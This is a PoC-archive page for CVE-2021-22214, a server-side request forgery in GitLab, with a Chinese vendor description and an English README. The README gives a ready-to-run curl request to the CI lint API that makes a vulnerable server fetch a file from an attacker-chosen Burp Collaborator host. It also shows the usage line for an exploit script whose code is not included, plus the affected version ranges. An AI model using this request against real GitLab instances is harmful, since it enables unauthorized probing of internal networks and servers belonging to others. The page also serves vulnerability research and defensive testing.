POC详情: 14c7b843969e3452e73e27be78c0b8e40eb4da87

来源
关联漏洞
标题: GitLab 代码问题漏洞 (CVE-2021-22214)
描述:GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab CE EE存在安全漏洞,该漏洞源于当对内部网络的webhook请求被启用时存在请求伪造漏洞。
描述
POC for CVE-2021-22214: Gitlab SSRF
介绍
# CVE-2021-22214
POC for CVE-2021-22214: Gitlab SSRF

<img src="./ssrf.png" />

## Description
The remote GitLab install contains a Server-side request forgery (SSRF) vulnerability as a result of the internal network for webhooks being enabled. A remote, unauthenticated attacker can exploit a registration-limited GitLab instance causing it to make HTTP requests to an arbitrary domain of the attacker's choosing.

## usage
* ## python code
  ```
  usage:   python3 GitLab_SSRF.py <target> <burp_collaborator_url>
  ```
* ### Curl command
```
curl -s –show-error -H 'Content-Type: application/json' https://TargetIP/api/v4/ci/lint –data '{ "include_merged_yaml": true, "content": "include:\n remote: http://Burp-Collaborator/test.yml"}' 
```




### Affect
* Gitlab >=10.5, <13.10.5
* Gitlab >=13.11, <13.11.5
* Gitlab >=13.12, <13.12.2


### Reference
* [GitLab SSRF (CVE-2021-22214)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22214)
* [tenable.com](https://www.tenable.com/plugins/nessus/152483)
文件快照

[4.0K] /data/pocs/14c7b843969e3452e73e27be78c0b8e40eb4da87 ├── [1.6K] GitLab_SSRF.py ├── [6.9K] LICENSE ├── [1017] README.md └── [ 30K] ssrf.png 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。